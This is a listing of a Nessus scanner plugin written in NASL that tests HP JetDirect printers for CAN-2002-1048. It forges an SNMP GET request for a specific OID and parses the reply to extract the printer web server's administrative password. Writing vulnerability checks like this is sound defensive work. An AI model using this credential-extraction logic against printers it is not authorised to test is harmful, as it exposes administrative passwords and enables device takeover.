home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / snmp_hpJetDirectEWS.nasl < prev    next >
Text File  |  2005-03-31  |  5KB  |  240 lines

  1. # This plugin is a rip from snmp_sysDesc.nasl
  2. # This rip was written by Geoff Humes <geoff.humes@digitaldefense.net>
  3. #
  4. # snmp_sysDesc.nasl was written by Renaud Deraison <deraison@cvs.nessus.org>
  5. #
  6. # See the Nessus Scripts License for details
  7. #
  8.  
  9.  
  10. if(description)
  11. {
  12.  script_id(11317);
  13.  script_bugtraq_id(5331, 7001);
  14.  script_cve_id("CAN-2002-1048");
  15.  script_version ("$Revision: 1.10 $");
  16.  
  17.  name["english"] = "Discover HP JetDirect EWS Password via SNMP";
  18.  
  19.  script_name(english:name["english"]);
  20.  
  21.  desc["english"] = "
  22. This script attempts to obtain the password of the remote
  23. HP JetDirect web server (available in some printers)
  24. by requesting the OID :
  25.  
  26. .1.3.6.1.4.1.11.2.3.9.1.1.13.0
  27.  
  28. Of the remote printer.
  29.  
  30. An attacker may use this flaw to gain administrative access on
  31. that printer.
  32.  
  33. For more information:
  34. http://www.securityfocus.com/archive/1/313714/2003-03-01/2003-03-07/0
  35. http://www.iss.net/security_center/static/9693.php
  36. http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?id=advise15
  37.  
  38. Risk factor : High";
  39.  
  40.  script_description(english:desc["english"]);
  41.  
  42.  summary["english"] = "Enumerates password of JetDirect Web Server via SNMP";
  43.  script_summary(english:summary["english"]);
  44.  
  45.  script_category(ACT_GATHER_INFO);
  46.  
  47.  script_copyright(english:"This script is Copyright (C) 2003 Digital Defense, Inc.");
  48.  family["english"] = "SNMP";
  49.  script_family(english:family["english"]);
  50.  script_dependencie("snmp_default_communities.nasl");
  51.  exit(0);
  52. }
  53.  
  54. include("http_func.inc");
  55.  
  56. port = get_http_port(default:80);
  57.  
  58. passwordless = 0;
  59. password = string("");
  60. equal_sign = raw_string(0x3D);
  61. nothing = raw_string(0x00);
  62.  
  63. community = get_kb_item("SNMP/community");
  64. if(!community)exit(0);
  65.  
  66. port = get_kb_item("SNMP/port");
  67. if(!port) port = 161;
  68.  
  69. #--------------------------------------------------------------------#
  70. # Forges an SNMP GET packet                                          #
  71. #--------------------------------------------------------------------#
  72. function get(community, object)
  73. {
  74.  len = strlen(community);
  75.  len = len % 256;
  76.  
  77.  tot_len = 23 + strlen(community) + strlen(object);
  78.  packet = raw_string(0x30, tot_len, 0x02, 0x01, 0x00, 0x04, len);
  79.  object_len = strlen(object) + 2;
  80.  
  81.  pack_len = 16 + strlen(object);
  82.  packet = packet + community + raw_string( 0xA0,
  83.     pack_len, 0x02, 0x04, 0x5e, 0xa4, 0x3f, 0x0c, 0x02, 0x01, 0x00, 0x02,
  84.     0x01, 0x00, 0x30, object_len) + object + raw_string(0x05, 0x00);
  85.  return(packet);
  86. }
  87.  
  88. #--------------------------------------------------------------------#
  89. # Checks if JetDirect is vulnerable                                  #
  90. #--------------------------------------------------------------------#
  91. function vulnerable()
  92. {
  93.  
  94.  #if firmware is current, url will give a 200 or a 401
  95.  url = string("/hp/jetdirect/tcp_param.htm");
  96.  reply = 0;
  97.  
  98.  soc = http_open_socket(port);
  99.  if(soc)
  100.  {
  101.   request = http_get(item:url, port:port);
  102.   send(socket:soc, data:request);
  103.   r = http_recv(socket:soc);
  104.   http_close_socket(soc);
  105.   #if 404 returned, old firmware present
  106.   if("404 Not Found" >< r)
  107.   {
  108.    soc = http_open_socket(port);
  109.    if(soc)
  110.    {
  111.     url = string("/");
  112.     request = http_get(item:url, port:port);
  113.     send(socket:soc, data:request);
  114.     r = http_recv(socket:soc);
  115.     http_close_socket(soc);
  116.     #if / gives 404, web server is disabled - gives 404 for any request
  117.     if(!("404 Not Found" >< r))
  118.     {
  119.      reply = 1;
  120.     }
  121.    }
  122.   }
  123.  }
  124.  
  125.  return(reply);
  126. }
  127.  
  128.  
  129.  
  130. if(!(vulnerable())) exit(0);
  131.  
  132.  
  133. soc = open_sock_udp(port);
  134.  
  135. MIB = raw_string(0x30, 0x11, 0x06, 
  136.            0x0D, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x0B, 0x02,
  137.            0x03, 0x09, 0x01, 0x01, 0x0D, 0x00);
  138.           
  139. req = get(community:community, object:MIB);
  140.  
  141. send(socket:soc, data:req);
  142. r = recv(socket:soc, length:1025);
  143.  
  144. if(!strlen(r))exit(0);
  145.  
  146. len = strlen(r);
  147.  
  148. start = 0;
  149. for(i=0;(i+2)<len;i=i+1)
  150. {
  151.  #look for preamble to password
  152.  if(ord(r[i]) == 0x04)
  153.  {
  154.   if(ord(r[i + 1]) == 0x82)
  155.   {
  156.    if(ord(r[i + 2]) == 0x01)
  157.    {
  158.     start = i + 4;
  159.     i = len;
  160.      #found password, check if blank
  161.      if(r[start] == nothing)
  162.      {
  163.       if(r[start+1] == nothing)
  164.       {
  165.        if(r[start+2] == nothing)
  166.        {
  167.         if(r[start+3] == nothing) 
  168.         {
  169.          passwordless = 1;
  170.         }
  171.        }
  172.       }
  173.      }
  174.    }
  175.   }
  176.  }
  177. }
  178.  
  179. #some printers respond with nothing but 04 00 when passwordless
  180. if(start == 0 && len >= 2)
  181. {
  182.  if((ord(r[len - 1]) == 0x00) && (ord(r[len - 2]) == 0x04))
  183.  {
  184.    passwordless = 1;
  185.  }
  186. }
  187.  
  188. if(!(passwordless))
  189. {
  190.  password = string("The password is ");
  191.  #password format is password=108;  here we look for the = as the end of the passwd
  192.  for(i=start;i<len;i=i+1)
  193.  {
  194.   if(r[i] == equal_sign)
  195.   {
  196.    i=len;
  197.   }
  198.   else
  199.   {
  200.    password = password + r[i];
  201.   }
  202.  }
  203. }
  204.  
  205.  
  206. report = "";
  207.  
  208. if(strlen(password) > 1)
  209. {
  210. report = string("
  211. It was possible to obtain the remote printer embedded web server
  212. password ('", password, "') by querying the SNMP OID
  213. .1.3.6.1.4.1.11.2.3.9.1.1.13.0.
  214.  
  215. An attacker may use this flaw to gain administrative privileges on this
  216. printer
  217.  
  218. Risk factor : High");
  219. }
  220. else 
  221. {
  222.  if(passwordless)
  223.  {
  224.   report = "It was possible to obtain the remote printer embedded web server 
  225. password by querying the SNMP OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0 and we
  226. discovered that the remote printer has no password set !
  227.  
  228. An attacker may use this flaw to gain administrative privileges on this
  229. printer
  230.  
  231. Risk factor : High";
  232.  
  233.  }
  234. }
  235.  
  236. if(report)
  237. {
  238. security_hole(port:port, data:report, protocol:"udp");
  239. }
  240.